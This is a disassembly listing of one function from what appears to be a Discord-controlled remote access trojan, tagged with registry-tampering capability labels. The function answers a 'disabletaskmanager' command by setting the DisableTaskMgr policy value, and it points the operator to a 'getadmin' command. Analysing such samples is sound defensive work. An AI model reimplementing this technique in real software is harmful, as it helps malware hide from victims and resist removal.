Function at 0x14000c2e0
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x140020040]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rdi, rdx
mov rsi, rcx
lea rcx, [rdx + 0x38]
lea rdx, [rbp - 0x29]
call qword [sym.imp.dpp.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_dpp::interaction::get_command_name_void____ptr64]
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x14000c32c
mov rax, qword [rax]
cmp r8, 0x12
jne 0x14000c362
lea rdx, str.disabletaskmanager
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000c362
mov rax, qword [0x1400224b8]
test rax, rax
js 0x14000c574
cmp qword [rdi + 0xb8], rax
jne 0x14000c362
mov bl, 1
jmp 0x14000c364
xor bl, bl
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x14000c3a2
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c39d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c39d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012b14
test bl, bl
je 0x14000c54f
cmp dword [rsi], 0
je 0x14000c4c5
mov dword [rbp + 0x3f], 1
lea rax, [rbp + 0x43]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x37]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x102
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x3f]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableTaskMgr
mov rcx, qword [rbp + 0x37]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x37]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 9]
mov qword [rbp + 0x37], rax
lea rcx, [rbp - 9]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64_____cdecl_dpp::utility::log_error_void_]
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
mov r8d, 0x28
lea rdx, str.___Successfully_Disabled_Task_Manager___
lea rcx, [rbp - 0x29]
call fcn.140005240
nop
mov r8, rbx
lea rdx, [rbp - 0x29]
mov rcx, rdi
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::interaction_create_t::reply_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64___const___ptr64]
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x14000c54f
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c54a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c54a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rax, [rbp - 9]
mov qword [rbp + 0x37], rax
lea rcx, [rbp - 9]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64_____cdecl_dpp::utility::log_error_void_]
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
mov r8d, 0x60
lea rdx, str.___You_Must_be_Admin_to_run_this_command_____Please_run__getadmin_to_request_admin_privilages___
lea rcx, [rbp - 0x29]
call fcn.140005240
nop
mov r8, rbx
lea rdx, [rbp - 0x29]
mov rcx, rdi
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::interaction_create_t::reply_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64___const___ptr64]
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x14000c54f
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c54a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c54a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012b14
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140012870
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
lea rcx, [rbp - 9]
call fcn.140009b30
lea rdx, [0x14001d268]
lea rcx, [rbp - 9]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
add rcx, 8
jmp 0x14000c2e0